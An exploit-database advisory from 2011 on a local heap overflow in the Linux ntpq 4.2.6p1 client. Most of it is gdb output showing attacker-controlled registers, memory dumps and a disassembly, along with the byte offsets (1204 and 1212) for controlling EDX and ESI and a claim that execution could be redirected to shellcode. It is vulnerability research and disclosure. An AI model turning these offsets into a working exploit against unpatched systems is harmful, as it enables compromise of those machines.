Linux NTP query client v4.2.6p1 Heap Overflow Vulnerability

ID 1337DAY-ID-15587
Type zdt
Reporter mr_me
Modified 2011-03-12T00:00:00


Exploit for linux platform in category dos / poc

                                            Linux NTP query client v4.2.6p1 Heap Overflow vulnerability
impact: minor/informational
There is a local heap overflow in the ntpq utility client that comes packaged in ntp-4.2.6p1-2.fc13.
Note: The binary is NOT suid/guid enabled on my system.
Nonetheless, it provides some fun/interesting analysis.
mr_me@pluto ~]$ yum list installed | grep ntp
fontpackages-filesystem.noarch   1.44-1.fc13             @updates              
ntp.i686                         4.2.6p1-2.fc13          @updates              
ntpdate.i686                     4.2.6p1-2.fc13          @updates              
[mr_me@pluto ~]$ /usr/sbin/ntpq --version
ntpq - standard NTP query program - Ver. 4.2.6p1
[mr_me@pluto ~]$ gdb /usr/sbin/ntpq
GNU gdb (GDB) Fedora (7.1-34.fc13)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-redhat-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /usr/sbin/ntpq...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install ntp-4.2.6p1-2.fc13.i686
(gdb) r
Starting program: /usr/sbin/ntpq
[Thread debugging using libthread_db enabled]
Program received signal SIGSEGV, Segmentation fault.
0xb7fab60d in el_gets () from /usr/lib/
(gdb) i r
eax            0xbffff32c   -1073745108
ecx            0x0  0
edx            0x42424242   1111638594  < ---- full control
ebx            0xb7fc5ac0   -1208198464
esp            0xbffff260   0xbffff260
ebp            0xbffff2c8   0xbffff2c8
esi            0x43434343   1128481603  < ---- full control
edi            0xbffff32c   -1073745108
eip            0xb7fab60d   0xb7fab60d <el_gets+45>
eflags         0x10282  [ SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
pointers are everywhere, look @ esp, esp+0x4 and esp+0x10 we can see a pointers
to some controllable memory:
(gdb) x/5x $esp
0xbffff260: 0x0015b948  0x0015b948  0xbffff2c8  0x0012bd06
0xbffff270: 0x0015b948
(gdb) x/30x 0x0015b948
0x15b948:   0x41414141  0x41414141  0x41414141  0x41414141
0x15b958:   0x41414141  0x41414141  0x41414141  0x41414141
0x15b968:   0x41414141  0x41414141  0x41414141  0x41414141
0x15b978:   0x41414141  0x41414141  0x41414141  0x41414141
0x15b988:   0x41414141  0x41414141  0x41414141  0x41414141
0x15b998:   0x41414141  0x41414141  0x41414141  0x41414141
0x15b9a8:   0x41414141  0x41414141  0x41414141  0x41414141
0x15b9b8:   0x41414141  0x41414141
(gdb) bt
#0  0xb7fab60d in el_gets () from /usr/lib/
#1  0x0012c7b0 in ?? ()
#2  0x001196a3 in ?? ()
#3  0x0011978c in main ()
(gdb) disas 0xb7fab60d
Dump of assembler code for function el_gets:
   0xb7fab5e0 <+0>:   push   %ebp
   0xb7fab5e1 <+1>:   mov    %esp,%ebp
   0xb7fab5e3 <+3>:   push   %edi
   0xb7fab5e4 <+4>:   push   %esi
   0xb7fab5e5 <+5>:   lea    -0x20(%ebp),%eax
   0xb7fab5e8 <+8>:   push   %ebx
   0xb7fab5e9 <+9>:   call   0xb7fa5469
   0xb7fab5ee <+14>:  add    $0x1a4d2,%ebx
   0xb7fab5f4 <+20>:  lea    -0x5c(%esp),%esp
   0xb7fab5f8 <+24>:  mov    0xc(%ebp),%edi
   0xb7fab5fb <+27>:  test   %edi,%edi
   0xb7fab5fd <+29>:  mov    0x8(%ebp),%esi
   0xb7fab600 <+32>:  cmovne 0xc(%ebp),%eax
   0xb7fab604 <+36>:  mov    %eax,0xc(%ebp)
   0xb7fab607 <+39>:  movl   $0x0,(%eax)
=> 0xb7fab60d <+45>:   mov    0x14(%esi),%eax
   0xb7fab610 <+48>:  test   $0x2,%al
   0xb7fab612 <+50>:  je     0xb7fab6b0 <el_gets+208>
   0xb7fab618 <+56>:  mov    0x30(%esi),%edi
   0xb7fab61b <+59>:  mov    %edi,0x4(%esp)
   0xb7fab61f <+63>:  mov    %esi,(%esp)
   0xb7fab622 <+66>:  call   *0x324(%esi)
   0xb7fab628 <+72>:  cmp    $0x1,%eax
   0xb7fab62b <+75>:  mov    %eax,%ecx
   0xb7fab62d <+77>:  jne    0xb7faba50 <el_gets+1136>
   0xb7fab633 <+83>:  lea    0x1(%edi),%edx
   0xb7fab636 <+86>:  cmp    0x3c(%esi),%edx
   0xb7fab639 <+89>:  jae    0xb7fab680 <el_gets+160>
   0xb7fab63b <+91>:  mov    %edi,%eax
   0xb7fab63d <+93>:  mov    %edx,%edi
   0xb7fab63f <+95>:  testb  $0x8,0x14(%esi)
   0xb7fab643 <+99>:  jne    0xb7fab650 <el_gets+112>
   0xb7fab645 <+101>: movzbl (%eax),%eax
   0xb7fab648 <+104>: cmp    $0xa,%al
   0xb7fab64a <+106>: je     0xb7fab650 <el_gets+112>
   0xb7fab64c <+108>: cmp    $0xd,%al
---Type <return> to continue, or q <return> to quit---
The code access violates at 'mov eax, dword ptr [%esi+20]'. A this point, the EAX register can be controlled
by setting a valid rw memory address into ESI+20. This will trigger a deference @ 0xb7fab60d and the value
of whatever is contained within ESI+20 will written to EAX. The offset to controlling EDX is 1204 bytes
and the offset to ESI is 1212 bytes.
In summary, it is likley that the execution flow can be redirected to desired shellcode.

# [2016-04-19]  #